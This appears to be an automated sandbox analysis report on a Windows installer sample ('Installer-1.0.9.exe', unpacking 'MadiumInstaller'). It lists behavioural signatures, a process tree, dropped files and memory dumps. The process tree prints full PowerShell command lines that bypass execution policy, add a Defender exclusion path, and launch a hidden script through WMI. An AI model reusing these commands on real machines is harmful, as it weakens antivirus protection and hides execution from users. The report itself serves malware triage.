Analysis
- user interaction
yes - max time kernel
12s - max time network
26s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
15/08/2026, 04:37
General
- Target Installer-1.0.9.exe
- Size 9.8MB
- Sample260815-e8vfbsztfw
- SHA256 6c1bfdb571e85b8a1e0566f008f9eef8dab6baa4088a48d3b9c7ea9c7e9bfd9a
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Installer-1.0.9.exe"C:\Users\Admin\AppData\Local\Temp\Installer-1.0.9.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MadiumInstaller-EAB0754A-0519-4C90-9128-1BD2296C5C07\MadiumInstaller.exe"C:\Users\Admin\AppData\Local\Temp\MadiumInstaller-EAB0754A-0519-4C90-9128-1BD2296C5C07\MadiumInstaller.exe" --from-sfx --first-install2⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop'; if ($null -eq (Get-Command Get-MpComputerStatus -ErrorAction SilentlyContinue)) { exit 0 }; $status=Get-MpComputerStatus -ErrorAction SilentlyContinue; if ($null -eq $status -or $status.AntivirusEnabled -ne $true) { exit 0 }; $p='C:\Users\Admin\AppData\Local\Madium'.TrimEnd('\'); $current=@((Get-MpPreference -ErrorAction Stop).ExclusionPath); $has=@($current | Where-Object { $_ -and $_.TrimEnd('\') -ieq $p }).Count -gt 0; if (-not $has) { Add-MpPreference -ExclusionPath $p -ErrorAction Stop; $current=@((Get-MpPreference -ErrorAction Stop).ExclusionPath); $has=@($current | Where-Object { $_ -and $_.TrimEnd('\') -ieq $p }).Count -gt 0; if (-not $has) { throw 'Defender did not save the exclusion.' } }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -Command "$created = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='\"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe\" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\MadiumUpdate-2536.ps1\"'}; if ($created.ReturnValue -ne 0) { exit [int]$created.ReturnValue }"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\MadiumUpdate-2536.ps1"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp\MadiumInstaller-1.1.0-2536.exe"C:\Users\Admin\AppData\Local\Temp\MadiumInstaller-1.1.0-2536.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\MadiumInstaller-F2D80622-CB83-4AD4-BC47-C6542363B345\MadiumInstaller.exe"C:\Users\Admin\AppData\Local\Temp\MadiumInstaller-F2D80622-CB83-4AD4-BC47-C6542363B345\MadiumInstaller.exe" --from-sfx --first-install3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
flutter_windows.dll
install-state.json
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
MadiumInstaller-1.1.0-2536.exe
MadiumInstaller.exe
app.so
AssetManifest.bin
FontManifest.json
NOTICES.Z
NativeAssetsManifest.json
MaterialIcons-Regular.otf
ink_sparkle.frag
stretch_effect.frag
icudtl.dat
flutter_windows.dll
MadiumInstaller.exe
app.so
flutter_windows.dll
flutter_windows.dll
MadiumUpdate-2536.ps1
MadiumUpdate-2536.ps1.ready
__PSScriptPolicyTest_ykyf1il4.sq3.ps1
memory/2536-23-0x00000132DA970000-0x00000132DAEC9000-memory.dmp
memory/2536-22-0x00000132DA970000-0x00000132DAEC9000-memory.dmp
memory/2536-24-0x00000132DA7C0000-0x00000132DA7C1000-memory.dmp
memory/2536-28-0x00000132DAF00000-0x00000132DAF80000-memory.dmp
memory/2536-27-0x00000132DAF00000-0x00000132DAF80000-memory.dmp
memory/2536-20-0x00000132DA7B0000-0x00000132DA7B1000-memory.dmp
memory/2536-21-0x00000132DA970000-0x00000132DAEC9000-memory.dmp
memory/4136-77-0x0000021C6D3A0000-0x0000021C6D3C2000-memory.dmp
memory/4904-104-0x00000192BC030000-0x00000192BC054000-memory.dmp
memory/4904-103-0x00000192BC030000-0x00000192BC05A000-memory.dmp
memory/4916-142-0x00000210B7520000-0x00000210B7A85000-memory.dmp
memory/4916-148-0x00000210B7B80000-0x00000210B7C00000-memory.dmp
memory/4916-143-0x00000210B7520000-0x00000210B7A85000-memory.dmp
memory/4916-147-0x00000210B7B80000-0x00000210B7C00000-memory.dmp
memory/4916-141-0x00000210B7520000-0x00000210B7A85000-memory.dmp
memory/4916-144-0x00000210B7490000-0x00000210B7491000-memory.dmp
memory/4916-140-0x00000210B7480000-0x00000210B7481000-memory.dmp